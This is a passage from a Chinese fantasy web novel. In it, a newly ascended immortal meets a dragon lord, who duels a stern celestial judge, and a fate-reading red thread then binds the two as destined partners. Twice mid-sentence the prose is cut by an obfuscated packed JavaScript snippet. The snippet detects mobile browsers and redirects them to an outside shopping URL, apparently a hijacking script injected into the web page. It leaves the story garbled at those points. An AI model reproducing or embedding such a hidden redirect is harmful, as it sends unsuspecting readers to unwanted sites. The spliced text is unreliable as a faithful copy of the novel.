“别喊仙号,怪生分的,”西王母笑道,“听闻星君们酿造的美酒甘甜香醇,我不请自来,偷喝了一壶,星君们勿怪。不过我也不吃白食,带来了十坛瑶池圣水、一枝蟠桃,不知够不够酒钱?” 红鸾与天喜面面相觑。天姚却率先明了,长长一揖到底:“娘娘有何吩咐,赴汤蹈火都是我们的荣幸。” “哎呀,你不是桃花来着?解语花的名号打今天起叫海棠让给你。”西王母打趣他。 红鸾上前一步拱拱手,满眼喜不自胜:“王母娘娘,蟠桃太贵重了,我们何德何能呢。” “都是得道的仙人,职位有高低,人却没有贵贱之分,既给你了拿着就是,”西王母话锋一转,“我确实有事相求,要你们算一份姻缘。” 天喜眼睛一亮,爽快问道:“测算谁的姻缘?” “还能是谁,是寄托在我那里的孽障,”西王母无奈笑笑,她吩咐弘岘道,“劳烦仙使去天池找他,叫他别在水下扯鲲鲸的尾巴,叫人家飞也飞不起来。” “啊?”弘岘指指自己。 西王母被他稚拙的表情逗笑:“小仙君,你在道路上喊几声‘渊侯’,他就会出来了。” 弘岘挠挠头,领命去了。 红鸾小声吸了口凉气:“给渊侯测算姻缘?” 西王母笑眼盈盈。 弘岘顺着星宫外那条莹白的路一直走,直到听见鲲鹏悠远的呼鸣。不知为何,弘岘从那鸣声里听出一股烦躁与无奈。 他高喊几声“渊侯”,天池波涛涌动。比鲲鹏更庞大的暗影自水下浮现—— 连绵起伏的墨色鳞脊从水下拔起,弘岘只能看见眼前滑过的、望不到尽头的黑色。方才遮天蔽日的鲲鹏,此刻也不过是它身旁的游鱼。 在那庞然巨物映衬下,脚下宽阔的道路如一条纤长丝带,而他不过是宇宙间的一粒浮尘。 那巨物不断缩小,直至与鲲鹏齐身时,弘岘终于看清了它的全貌。 一瞬间,他忘记了呼吸。 那是一条—— 龙。 4. 夜叩剑 巨龙连绵的墨色脊背破开水面,游移靠近。水汽凝结成细密的冰晶,带着奇异的凉意拂在弘岘脸颊上。他看见一种古老,如同看见时间本身在缓缓向他逼近。 然后,是一片近在咫尺的、墨色的鳞。那片墨色并非纯粹的黑,无数幽光在其鳞片上流动,像一片移动的、沉默的星空。一声低沉的、仿佛来自地心深处的共鸣,直接传入灵台,让他脏腑都随之震颤。 刹那间,弘岘灵台一片清明,仿佛凡尘的万千烦恼,生死的无边执念,在这样绝对的存在面前,都变得渺小如尘埃。这亘古的强大和美丽,令他目眩神迷。 莹白道路下,一双暗金色的、能吞伏宇宙的竖瞳在水中缓慢迫近。而他根本无法看清、也无法想象,眼前这条龙的全貌。迟滞地,他突然发现自己正与深渊对视。 霎时,心脏剧烈跳动,恐惧终于超越一切感官追了上来,那是一种源于生命层次被绝对压制的本能,是凡人面对洪荒异兽时的唯一反应。 弘岘紧紧闭上眼睛,声音颤抖:“……渊侯,王母娘娘叫、叫您过去。” 弘岘听见巨龙在天池中翻搅,温凉的池水漫上道路沾湿他的鞋。潮涌之间,一股无法忽视的强大气息落在他面前,但弘岘根本不敢睁眼。 那气息靠近他、经过他,懒散的声音从他头顶传来:“知道了。” 那是青年男子的声音,龙应当化作了人形,且比他高大许多。 过了几息,心跳终于平复,弘岘睁眼往身后看去,道路空无一人,他只身站在星海中。他缓了缓,深吸一口气,快步朝星宫走去。 宫殿中光华通明,星宫主人们在家,童子的胆量也大起来,弘岘再进宫门时,几个童子正趴在大猫身上嬉闹玩耍。 庭院里搬出了新的酒坛,石桌椅挪到桃树下,摆上一座玉屏风,花影摇曳,落英缤纷,美不胜收。 西王母不拘礼节,正和那三位星君痛饮。 弘岘没瞧见别的身影,问:“渊侯没有回来吗?” 房顶上传来带笑的声音:“我不是在这吗?” 弘岘一抬头,那人脚蹬流云踏浪靴,身着玄天青五爪龙袍,头戴宝华明珠冠,剑眉悬胆,一双似笑非笑的眼睛。他懒散斜支在琉璃瓦上,身后是熠熠星河。 弘岘心头一跳,连忙弯腰行礼。房顶上却没了声响。弘岘身形僵住,不知该不该起来。 天姚及时解围,将他拉进座次里:“弘岘道友,不用这样拘束,来来来,一起喝酒。” 他被推到西王母旁边,弘岘涨红脸连连摆手:“不敢、不敢。” “没事的,你就坐吧,娘娘和善得很。”天喜按着他肩膀坐下。 红鸾为他倒满一杯送至唇边,弘岘谢不过,只好仰头饮尽。 一口“金风玉露”入喉,只觉当神仙真是妙不可言,的确胜过人间无数。陶陶然,醺醺然。方才的紧张与惶恐,抛到九霄云外去了。 西王母打趣他:“仙使原来是个‘一杯倒’。” 弘岘摇摇头,面露憨态:“没有、没有醉,我知道,我只是晕了。” 天喜大笑,红鸾更是笑倒捶桌。天姚忍俊不禁,推掌抚在他背心处,一股清澈流泉经由周身经脉,洗去他的醉意。弘岘渐渐清醒,同时身体也渐渐蜷缩——恨不能钻到地缝里! 西王母被他逗笑,抚掌赞叹:“稚拙璞真,小仙君真是个妙人。” 弘岘汗颜拱手:“娘娘别夸我,叫我弘岘就好。” 天姚以扇掩唇,笑道:“弘岘道友昨日才飞升,还不习惯仙人的身份呢。” “昨日飞升?”沐浴星光的渊侯投落视线,“月芜所说,积善飞升那人?” “哎。”弘岘不好意思地挠挠脑袋。 “原来是你,”西王母慈和道,“甫一飞升便进境,功德无量。” 弘岘愈发羞涩,面对众人的慈爱和善意,他不想有所隐瞒:“王母娘娘,其实我有些疑惑。” 西王母:“你说。” “方才观刑之后,我回想起一些事情……”弘岘将他做鬼的过往和盘托出,“……我不知月芜天仙用的是什么神通仙法,但我是在他那一剑后才能听见万灵声音的。我感到心虚,我不过帮了一些人,做过一些善事,这场飞升,是不是月芜天仙施赠我的?不然凭我自己,如何能做仙人?” “当然不是,”渊侯斜他一眼,“心志不坚,你是怎么晋升玄仙的?” 弘岘挠头:“观刑之后,我才有自己是仙人的实感,生出悲悯的情怀,便进境了。” 西王母笑道:“凭你这番顿悟,就能当仙人了。” 渊侯翻身侧卧于屋脊上,支着脑袋指点他:“月芜又不是天道,如何能赠你飞升。他那一剑妙法,修复大地疮痍,顺带修补了你的魂魄罢了。” 弘岘这才明白,长“哦”一声。 “你做人做鬼时,做过多少善事,天道都会记得。南赡部洲本不该有此一难,你做的善事便不只是寻常行善,更是对昭仪逆乱的拨乱反正。善恶因果的计算,比你想象中更为复杂。这是其一。” “清荷将法器存放在你眉心轮中,令你以凡人魂魄承载仙人法器,将昭仪的罪证传达天庭,使真凶得以伏法。属大功德一件。这是其二。” 弘岘昂首:“可我并不知……” 渊侯打断他的话:“再有就是,清荷对你,应是愧疚的。” 弘岘对上渊侯的眼睛,那双暗金色的眼瞳原来并不可怕。他想起清荷的眼睛,想起她流下的泪水。 “正因你不知情,却愿用魂魄承载真相的重量,所以她才会感谢你,将功德善意回馈于你,”渊侯点明,“既已为仙,就去做仙应当做的事情,不要自囚。” 弘岘神思一震。 渊侯摘下头冠上的宝珠把玩抛弄,“今天没得到姻缘结果,等星君们算出是谁了,送信去昆仑即可,”他向西王母一笑,“阿母,少喝些,我走了。” 弘岘回神间,那宝珠脱手,悬在半空,珠光向两侧拉开,化作一片剔透的玉屏。渊侯步入其中,身影融入光幕,便消失踪影。 “哎,也不说去哪里。”西王母嗔叹。 “渊侯真是性情中人,”天姚羽扇拍拍弘岘的肩膀,提醒他,“下次再见,要记得感恩渊侯赐教。” 弘岘连连道:“一定。” 西王母无奈笑笑:“他向来这样,外人看骄矜傲慢得很,实际上是个心软的主。” “好了,我也叨扰多时、贪饮好多杯了,”西王母唤来金猫虎彪,侧坐在它背上,“今日尽兴,就到这里吧。” 天姚天喜红鸾齐身行礼:“恭送娘娘。” “恭送娘娘。”弘岘这回跟上了。 西王母朝他笑笑,金猫虎彪奔行,化作流星,消失天际。 宫殿里剩下他们四人,弘岘好奇问道:“渊侯管娘娘叫‘阿母’,难道是她的儿子?” 听得红鸾连忙捂住他的嘴,天喜比唇做噤声状,天姚羽扇一拍脑门:“弘岘,你现在是仙人了,可不能乱说话。” 红鸾点头:“尤其我们这样信命的星宿神。” 弘岘也被他们的反应吓一跳,他乖乖点头。 红鸾放开他,详述道:“昆仑山漂浮在极渊上空,地处三清境与天庭之间,是灵修散仙聚集之地,由娘娘坐镇统领。因此,三清境尊称其道号,太华西真万炁祖母元君。” 天喜接话:“同时,娘娘在天庭东华清华府挂职,统御女仙,所以在天庭,我们都称其仙号,金母元君。” 天姚补充:“而娘娘本人,自万灵诞生,掌管草木鸟兽等仙灵,仙灵们称呼她:圣母、西姥、阿母——都是亲切的称呼,并不指母亲。” “原来是这样……”弘岘又问,“那渊侯,究竟是什么人物?” “这就说来话长了。”天姚羽扇拂过,将石桌上的酒水换做茶器,比手请他们坐下。 “相传一万年前,天地间诞出一凶兽,九首蛇身,自称共工后裔,名为‘相繇’。像这样无根诞生的异兽,生来便有通天彻地之能。天庭派兵围剿,反被他打得落花流水。” 天姚羽扇轻挥,桃树上飘落的花瓣在屏风前结成一只“凶兽”,和其他花瓣做的“天兵天将”,咿咿呀呀战作一团。 “相繇极尽狡诈,勾结堕仙作乱,暗自壮大,又藏匿凡间兴风作浪,致使四海八荒生灵涂炭。勾陈大帝与后土娘娘亲自出手捉拿他,相繇冥顽不服,效仿共工,一头撞断了载天山——” 桃花凶兽倒地,脖子一歪,花瓣结成的山脉呼啦啦碎裂。 弘岘听得入迷:“然后呢?” 天姚抿了口茶,羽扇轻摇。 红鸾歪在石桌上抢话:“那载天山一倒,天就破了个窟窿!天破了,星辰之力倒灌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597634|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,凡间跟下了火雨似的,可世上再没有第二位女娲娘娘!” 他袖间红线飞出来一鞭,花瓣做的天幕立时豁出个大口子,底下其他花瓣假作凡民四散奔逃。 弘岘惊问:“那怎么办?” 天喜袖中探出一条条红绳,卷起花瓣,重新聚集交织成画,演绎那惊心动魄的传说—— “于是极渊龙族,举全族之力,以身补天。” 数百神龙投身破漏天际,他们强大、美丽的血肉相互缠结,如同织网,堵住倒灌的星辰。 弘岘想起方才他看过的巨龙神躯,瞠目结舌。 天姚放下茶盏幽然一叹:“自此极渊龙族一脉,断了。” 半空中花瓣零落,弘岘伸手去接,天姚羽扇再一挥,那花瓣重又飞卷起来。 “大约天道亦有不忍之心。三千年后,王母娘娘偶然发现,极渊中竟诞生一枚龙蛋。仙道感念龙族恩情,悉心照料,又三千年,蛋中孵化出一条小龙来。” “他贵为极渊之主,受天道福报,生来便是真仙,被六界捧在掌心,取凡间王侯之意,尊称一句‘渊侯’,西王母为他取名‘珩夜’,意为渊中玉。” 花瓣汇聚成小小龙形,在弘岘手心吱哇喷火。 弘岘托着桃花小龙,沉默了一会儿,才轻声问:“那渊侯……六界都宠着他,是因为极渊龙族的恩情吗?” 红鸾点头:“多少有些这个缘故。” 弘岘想了想,又问:“渊侯是真仙,月芜是天仙,哪个更厉害?” 天喜答道:“仙界修行分为‘高玄太上、天真灵至’八个级别。珩夜、相繇之流,属天地异兽,是大罗金仙,境界与天仙相仿。但珩夜受天地福报,唯有他,出生便是真仙。若论……” “若论修行,渊侯高一筹,”红鸾抢话道,“但要论剑道妙法嘛……或许月芜更佳哦。” “是嘛?”弘岘有些不信。 他不知道,就在此刻,天庭的另一边,珩夜当真找月芜论剑去了。 珩夜穿过玉屏,本欲径回昆仑。脑海中却浮现一抹月华似的身影。 钉魂锁骨、刳仙为凡的剑,他在天道法坛上看过了。 可弘岘方才说,月芜一剑便涤荡了南赡部洲——这一剑,他没看过。 一柄霜寒审判的剑,和一柄又绿春风的剑,如何能是同一柄剑? 他想看月芜的剑。 想问他的剑道。 和他一分高下。 心念一转,玉屏将他送至天刑司殿前。 天刑司仙使毕恭毕敬上前询问,几乎是哄孩子的语气:“渊侯来访,所为何事啊?” 珩夜笑道:“仰慕天仙仙姿,恳请一见。” 仙使连忙传话,不多时小跑出来,腆着笑脸一拱手:“掌教在忙,请渊侯择日再来。” 珩夜不紧不慢,从臂骨中抽出一柄宝剑,直指殿门,朗声道:“仰慕天仙仙姿,请剑赐教!” 下一瞬门户大开,月华炼作的罡风刺来,凝成一个字:“滚。” 珩夜横剑化解,脚步纹丝不动,继续道:“若天仙赢了,愿为天仙僚佐,善后南赡部洲事宜,比如——地脉龙气?” 几息之后,一片轻盈霜色落下——月芜只离他几步远,珩夜很满意这个距离,大大方方观赏他的姿仪容貌。 月芜不解。 这条龙和天庭少有往来,今天不知为何,跑来天刑司讨打。 月芜:“你若真想为南赡部洲做些什么,便不该在这浪费时间。” “我没有想法,”珩夜直白道,“但如果我比剑输了,或许会有新的想法。” 月芜在心中衡量。 地脉龙气有自行恢复之力,但若有真龙催动,可速见成效。南赡部洲损伤太过,天庭各部焦头烂额,早点处理完,凡间生灵也能少受些罪。 于是月芜拔剑—— 霜骸清冷孤绝,剑锋凛冽,冰寒刺骨。 珩夜仔细观赏,赞一声:“好剑。” 他举起手中的剑,介绍道:“我剑名为‘霞天’。” 月芜看到了,那剑上霞光朝晖,气象万千。 珩夜自得一笑:“很不错,对吧?” 月芜看不惯他的嬉笑模样。 剑便是剑,没有对剑的敬畏,何来出剑的信念。 月芜抬手,霜月凌空,一剑斩出! 5. 一线缘 这一剑清冷、凌厉,如月如钩。 面对这突如其来的一剑,珩夜横剑阻挡,被剑气击退,停下时一低头,恰恰退出天刑司宫门外。 月芜并指抚过剑身:“依仙律,天庭中不得私斗。” 珩夜觉得好笑:“那天仙这一剑是?” 剑身霜华流转,月芜剑指于他:“渊侯拔剑挑衅,不过一剑将渊侯请退而已。” 看来月芜虽冰冷,却并非不知变通。 珩夜气笑了,三清六界还没遇见过敢请退他的人。 宝珠再度化作一片玉屏,珩夜比手道:“请——” 说完便率先踏入玉屏中。 大荒西海,天高海阔。 察觉月芜穿过了玉屏,珩夜头也不回:“我们怎么……” “比”字还没出口,身后杀意陡至——又是一剑斩来,直取他后心!月芜根本不打算让他把话说完! 这回月芜的剑更疾更利,裹挟杀伐,冰冷决然! 珩夜负剑回身,被这一剑震退数百丈。 月芜飘飞迎去,那小龙震惊愤怒:“天仙竟然偷……袭!” 言语间月芜闪身凌空又是一剑!劈山裂海之势当头下斩! 一剑未平,月芜的剑光再度亮起——旋身下压,不给任何喘息之机。 珩夜被这一剑压入海中,胸膛里像鼓噪着一万只蜜蜂,怒火中烧——这人没有丝毫气度,算什么天仙!亏他方才还以为,月芜是迎来接他的,原来只是一记“追杀”! 真仙的气势爆发,珩夜流星般投跃而来,身后隐有龙威降临。剑出,霞光四起,凝成一练,闪电般奔袭! 月芜一剑劈去,身形急退,避其锋芒。珩夜不许他退!闪现而至,如影随形。 果真是条长虫,缠人得很。月芜提剑。 波涛怒卷,雾消云乱,弹指间剑招数千。 激撞过后二人分立。 月芜淡声道:“若你一直愤慨,你的剑赢不了我。” 珩夜气笑了:“我为何愤慨,天仙难道不知?” “我不知,”月芜漠然反问,“渊侯为何愤慨?” 珩夜抿唇。是了,他为何愤慨,他何必愤慨。月芜拔剑,便是为了让他愤慨。 月芜原本可以不点破。 珩夜的气质沉静下来。于是风轻雾结,海波粼粼。他重新拔剑—— 这小龙果然得万道偏爱,悟性极佳。月芜握紧手中的剑。 下一刻,万丈霞光漫天而起!风云虬结,剑气长龙如彗星袭月! 可、那、又、如、何。 月芜瞳孔中映照着诸般景象。绮丽霞光披洒在他身上,将他的发丝、瞳孔、衣衫全都染成金色,刹那间集天地造化之美。他一垂眸,如同神祇临世。 他看向自己的剑—— 他眼中只有自己的剑。 任凭万相诸法,剑既出,便一往无前! 若惧强威,何以持宪!若怀忧怖,何以执律!若惜己身,何以度厄! 巨龙面前,月芜渺如尘芥,但、那又如何—— 月芜拔剑! ——斩之! 巨龙吟啸,剑影万千。 刹那间海天倒转,风云戏鲸,浊浪吞日,乾坤相易! 下一瞬天地归正,云流浮卷,怒涛渊坠,海阔天清! 一剑之威,各不相让,寸步不退! 二人执剑对立,闪身迎战,聚散间轰鸣不止、阵阵裂响。 天空中明晦交替,海面上涛澜喧腾。 转眼数万妙法神通尽皆使出,剑光凛然,剑意奔腾,剑招缠错。 酣畅淋漓! 又是一剑相撞过后,二人几乎同时后撤,分立云海两端。 “痛快!”珩夜大笑。 月芜也觉得畅意,他许久没有这样比过剑。 珩夜的霞天剑震颤吟啸不止,月芜看了一眼。 珩夜笑道:“它喜欢你的剑。” 这小龙倒是直白。 月芜低头看了看脚下喧闹的海,清泠泠的剑气平削过去,涌动浪潮化为粼粼波光。 这一剑与涤荡南赡部洲的一剑,似有共通的妙处。珩夜满眼欣赏,又复望向眼前人—— 霞晖漫漫,海波流转,他是天地间的第三种绝色。 “平局。” 月芜落下两个字,脚步一转,消失在海面上。 珩夜静立片刻,忽而一哂。 玉屏的光华在西海上空彻底敛去。 那道月白的身影一走,大荒便空阔得有些过分了。珩夜低头看了看霞天——剑身犹在嗡鸣,余颤不止,像个意犹未尽的话篓子。 他没忍住,又笑了一声。 “急什么。” 他将霞天收回臂骨,穿云入海。海面上一道细长的暗影掠过——那是龙形游曳于浅水之下的轮廓。粼粼波光与脊背墨鳞交映,一路向西,朝昆仑的方向去了。 月芜回到天刑司时,仙使正抱着小山似的文牍等在殿前。 “掌教,”仙使小跑跟上,翻开最上头几卷,“南赡部洲地脉损毁的明细勘合送来了,玄灵镇元府催请驰援——地官与水官那边已递了三回文书,说天官部惹的祸事却要他们兜底,言语间颇有微词……” “还有雷部送来的行刑录,需要您过目钤印。都官部巡天司呈了三份弹劾折,其中一份涉及北斗司寿限簿交接流程的疏漏——和昭仪的案子有关联,斗姆元君十分重视,刘灵官说请您务必亲阅。” 月芜接过最上面的勘合卷,推门入殿。霜骸尚未归鞘,他将剑横置案上,落座,徐徐展卷。 天刑司的公务从来不等任何人。比剑是片刻的事,南赡部洲数以万计的亡灵、崩坏的地脉、各部之间堆积如山的纠察文书,才是他日复一日要面对的东西。 “还有,”仙使从文牍最底下抽出一封云纹锦书,“昆仑送来的。说渊侯今日去过紫微玄都府,星君们正替他测算姻缘——” 月芜批阅的手一顿。 “……跟咱们天刑司说,是想让掌教知会一声,渊侯的命定之人若在三界内有仙籍在册,到时候少不得要调籍查阅,让咱们行个方便。” 月芜没有说话。他翻过一页勘合,目光落在“南赡部洲北境——地脉龙气枯竭,建议请昆仑相助”一行字上,停了停。 昆仑?昆仑有谁能恢复地脉龙气?月芜心中嗤笑。可见仙界是如何疼爱那条小龙了,勘合中甚至不敢写他的名字。 仙使等了片刻,没等到回应,识趣地准备退下。 月芜唤住他:“等一等。” 仙使恭敬道:“掌教请吩咐。” 心念一转,月芜将这行字抄录,批注后递给仙使:“将这份公文递给天官部功曹院。既是他天官部的人犯事,平息众怒也该他们出力,命功曹院调借人手协助水府司、解厄台修复地脉。” “至于这份,”月芜看向一旁的云纹锦书,“你亲自转呈天官真仙,请他襄助。” 仙使茫然:“啊?” 月芜不欲解释:“天官自会明白。去吧。” 仙使不敢多言,领命而去。 殿内安静下来。霜骸剑身的光华一明一灭,如同某种缓慢的吐息。 月芜一面处理公事,一面等待消息。 比剑是平局,但他还有其他手段。 不多时仙使回来复命:“天官收到云纹锦书后,说他不日便会前往昆仑山拜谒金母元君。” 月芜便知这事成了。 果然。 没过几天,那小龙又来天刑司挑衅。这回珩夜提剑直入殿内,霞天剑钉在他桌角,咬牙笑一声:“天仙不愧是天刑司掌教。掌教好手段——” 月芜头也不抬:“何事?” 珩夜将云纹锦书丢在他面前:“你说何事!” 月芜收起公文,蹙眉道:“喧扰公干,雷罚一百。” “别和我说律令!”珩夜气道,“前日天官上昆仑山谒见阿母,不知与她谈成了什么交易,换我去南赡部洲修复地脉龙气。这事你知不知情?” 月芜抬眼,看向那气得快喷火的小龙,淡声一句:“与我何干?” “与你何干?”那双暗金色的瞳孔变成竖瞳,妙法显现,虚空中一道道金色的因果牵连羁绊。 珩夜怒极反笑:“我去问过天官,这云纹锦书为何会传到他手上,你猜他如何回答?” “是我呈递的,”月芜承认道,“渊侯这是又生气了?” 不问还好,他这一问,珩夜胸口起伏愈烈:“我当然气。我气有人坐在正大光明的仙位上,却做背后偷袭的事情!” 珩夜忿忿不平:“你便这么瞧不起我?你要我去南赡部洲,大可直言,何必背后使计!” “直言?不是渊侯自己说的‘没有想法’吗?”月芜起身与他对视,哂笑道,“直言后听你一句‘没有想法’,再向我提什么比剑?” 珩夜大为震惊:“我不信比剑那日你不觉得快意!” “比剑是一回事,公务是另一回事,”月芜毫不留情地讽刺,“渊侯受天地托生,享祖荫福报,游戏六界三千载,心中只有快意。” 珩夜暴跳如雷。 缩在殿门口的仙使战战兢兢露出半个发顶,月芜问:“何事来报?” 仙使拱手到底:“雷部今日行刑,请掌教前往监察。” 月芜飞身前往雷部,珩夜周身仙法外溢,毫不掩饰他的愤怒,脚步却不受控制地跟了上去。 这场刑罚涉及昭仪之乱,由雷霆总司神威荡魔霹雳真君和王灵官亲自坐镇,法场上跪着上百罪仙。月芜飞掠而过,珩夜垂目看去,神情难辨。 月芜座次在真君下首,众人互相见礼。真君和王灵官看着那多出来的一人十分意外,真君更是慈爱道:“渊侯怎么来了?” 珩夜知道轻重,并不多言,谢绝真君额外安排座位的好意,就站在月芜身后,像个黑脸的护法。 雷部众将面面相觑,一头雾水。 月芜毫不理会,阅览灵官承上来的名册和刑录。 天刑司灵官呈报道:“受刑之人俱已核实。” 月芜确认:“刑录无误。” 真君抛下令签:“行刑!” 六丁六甲并数位雷霆力士押送各批罪仙受刑。每批罪仙受刑前,由天刑司灵官唱诵各人名号、所涉罪行及其判决,再由雷部诸将降下刑罚。 有的灰飞烟灭,有的被放逐荒芜之地开垦灵脉,有的褫夺功德投入轮回…… 天官部功曹院、地官部轮回台,都有仙官在法场边待命。 众部门配合运作,忙忙碌碌。珩夜旁听下来,心中的怨愤逐渐消弭。 他甚至有些惭愧。眼前这些仙官不过太仙级别,更有仙使不过玄仙级别,他们尚能为南赡部洲出一份力,而他生来便是真仙,却什么都没做。 最后一批罪仙处置完毕,仙官们还有其他要务,匆匆忙忙人聚人散。 雷部只剩真君、王灵官、五雷公及六丁六甲。他们观渊侯来时怒气冲天,这会儿平静不少。真君劝慰道:“渊侯站了许久,坐下喝杯仙茶?” “不用,”珩夜摆摆手,“没什么事我走了。” 一片月华仙法挡住他的去路,月芜闲适饮茶,寒声道:“站住。” 珩夜扭头看他。 月芜起身向雷部众人说:“他是来领罪的。” 珩夜气急:“我什么时候——” 他的声音戛然而止,想起来了。 “喧扰公干,雷罚一百。”月芜冷面无情。 谁敢罚这位祖宗! 六丁六甲交错对视几眼,齐齐后退。五雷公默契十足,当场掐诀入定,假作神魂出窍。王灵官说:“这叫什么事!” 真君笑道:“掌教何必较劲,渊侯并非天庭仙官,自有王母约束。” 月芜反问:“真君是说,昆仑山仙灵都能来天庭喧扰公干了?” 真君闭嘴。 珩夜磨了磨牙:“真君不必为难,我受罚就是!” 他走到法场中央,笔直跪下。真龙下跪谁受得起,五雷公和六丁六甲什么都不装了,一并跑了。 真君让开这一跪,他是真的为难,这两人到底怎么回事!犟种和犟种顶撞在一处!他拼命向王灵官使眼色,王灵官了然,顺着墙根溜去报信。 珩夜梗着脖子:“真君你罚我吧,我甘心受罚,不用忌讳。在场你我三人,天知地知不会有旁人知。” 话音刚落,法场上空便传来声音,天官震惊道:“这是在做什么!” 他手里还提着个小仙,正是弘岘。 弘岘晕乎乎气若游丝:“真仙、真仙快把我放下……” 天官降落下来,一袭乌纱红袍十分俊逸。弘岘就不太好了,他跑到法场边想吐,又忘了自己已经是神仙,吐不出东西来。 珩夜虽跪着,却依旧磊落,问道:“你们来做什么?” 天官说:“红鸾星君派仙使给你送姻缘法器。受金母元君所托,我借来帝君的三界十方众生籍册,可快速找到法器另一端所缚何人。我们去过昆仑,娘娘说你在仙庭,便一路寻来至此。” 天官疑惑道:“渊侯又是在做什么?” 不等珩夜解释,远处奔来一声:“我的儿,是谁欺负了你!” 声音的主人流星般下落,伸手就要把珩夜拉起来。 珩夜连忙拦住:“紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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待雷罚结束,他红着脸站起来,梗着脖子道:“这下掌教满意了。” 月芜望着他,摇头笑说:“罢了。” 和这些溺爱长虫的仙人们说不通。 法场旁边弘岘终于“吐”完,他晕乎乎捧着块玉牌小跑过来,急匆匆问天官:“天官真仙,您帮我看看,这块传信玉牌是不是坏了?” 天官低头扫视一眼:“没有。” 弘岘十分疑惑:“那怎么,方才红鸾星君说,紫薇大帝听闻渊侯测算姻缘,对渊侯的婚事颇为关心,要和他们一同来看渊侯命定之人是谁,这都许久了,他们还没有消息?” 在场众人都定住身形。 天官一时不知该说什么。 月芜愈发无奈——紫薇大帝,四御之首,为顾全小龙颜面,竟然隐匿行踪。 于是不远处星象闪烁,红鸾天喜天姚跟在紫薇大帝身后一并现身。 红鸾摸摸鼻子笑道:“哎呀,我们刚到,这里怎么这么热闹!” 众人皆朝紫薇大帝见礼。帝君颔首,视线落在珩夜身上,目光慈和。 “那什么,”红鸾颇为不好意思,“事关渊侯的婚姻大事,怎么能不请金母元君?” 于是西王母拨开一块透明的帘幕出现在法场中,她侧坐在金猫虎彪身上,赤足斜倚,乌发蜿蜒垂地,笑眼盈盈。 西王母眉眼弯弯,丝毫不提方才之事,只道:“既然诸位都好奇珩夜的姻缘,便一同见证吧。” 一群仙人,假装无事发生。 月芜更觉好笑。 在场诸多帝君司正,弘岘紧张不已,他快步上前,珍重捧出锦盒,双手托在珩夜面前:“渊侯,请——” 珩夜快要麻木了,随手打开锦盒,抓起那团红线。 星辰之力凝成的法器无形无状,一入手心便化作命运指引。 珩夜感受到一股不可名状的玄妙之意,穿过逆鳞进入心室,他的心跳都被牵引。 红线自他手腕蔓卷到中指,缠绕飞出,灵蛇般昂首四顾,旋即笃定飞起,奔着月芜的方向而去。 月芜侧身让过,那红线竟转弯追逐他的脚步。 月芜眉心蹙起一再相让,红线却穷追不舍。 实在烦扰,月芜含怒拔剑—— 又想起仙规戒律,不得破坏仙庭。 月芜飞身从珩夜面前经过,夺走他发冠上的宝珠当空一抛——玉屏展开的瞬间翩飞而去。 可那红线也跟着飞了进去! 众人已然呆滞。 弘岘结结巴巴道:“这这这、这是什么情况?” 珩夜怒视:“星君戏弄于我?” 红鸾呆愣须臾,听闻此言抚掌大笑:“哈哈哈哈哈哈哈!我也没有想到,好戏之后竟是另一出好戏!” 天喜也笑,不过他认真道:“渊侯错怪,星官只能引渡星辰之力,命运指向何方,非我等能够控制。” 珩夜茫然了,他看向那穿进玉屏的红线,玄妙的牵引致使他的心怦然跳动。 难道……真的是他?——想到这里,珩夜的心跳声便不争气地更快起来。 西王母瞥过他泛红的面颊,掩唇笑道:“一起去看看吧?” 玉屏通往北海之外大荒之地,率先出现在众人眼前的,是地上纵横冰冷的剑痕。 条条沟壑深渊交错,坚冰如犬牙差互,生长在剑渊边缘,烈日下飞雪凝霜,无一不在诉说主人的怒气和杀意。 珩夜打了个寒颤。 半空中月芜背对众人静静盘坐。 那条红线已经找到它的归处,牵连在月芜手腕上。 珩夜一时哽住,欣喜自他心脏中蔓延而出,爬满胸腔,他将嘴角的弧度用力压住。 “你来了。”月芜说。 在场仙人众多,但珩夜知道,这句话是对他说的。 “……嗯。”他喉咙里滚出一个音节。 月芜起身,飘飞至珩夜身前,抬手—— 众人愈发清晰看见,那红线在他手腕缠绕几圈,又攀卷到他中指上。 月芜自然知道红线牵缚意味着什么,并不会误认为胡闹玩笑。 他只是觉得太荒谬了。 难以理解地皱紧眉心,他晃了一下手,这红线斩不断,也甩不掉。 月芜不禁自问,也向珩夜索要答案:“怎会如此?” 珩夜喉结滚动。大约是红线的功效,珩夜心想。此刻他觉着月芜实在是…… 非常可爱。 6. 心茫然 月芜问珩夜怎会如此,也是在问自己。 眼前的小龙却涨红了脸,眼神闪躲,支吾着说:“我也不知……” 紫薇大帝、勾陈大帝、西王母、斗姆元君俱在,月芜深吸一口气将手放下,用力压住胸中难以遏制的烦懑,这种感觉真真是久违。 月芜将视线从那红线上硬生生拔开,看向几位星君:“红线结成,意味着姻缘喜事?星君可曾算过,是正缘?是孽缘?” “红线结成,意味着你二人命中注定结成道侣。渊侯有天地气运,他牵上的注定是正缘,”红鸾抠抠面颊,“因此,这个……” 难不成还有意外?月芜不喜拖沓:“星君直言便是。” “我们在法器上做了小小改进,请了紫薇帝君赐福:红线收起时,会变作一对本源戒指。”红鸾的声音越来越小,目光闪烁。 月芜与珩夜二人几乎同时向红线看去,心念一转,牵卷的红线消失,一圈映照自身仙力本源的戒指显现在手指上。 珩夜那枚是极渊的玄色,戒环中浪潮涌动,细听有海浪龙吟声。月芜那枚泛着月色的纤柔光芒,金色妙法缓慢流转,簌簌有雪落之音。 月芜从来不佩戒指,他并指做剑诀状,看着中指上多出一枚光晕轻闪的戒环,很不习惯。剑诀都变得不庄重。 月芜拧紧眉心,观瞧半晌,嗤道:“多此一举。” 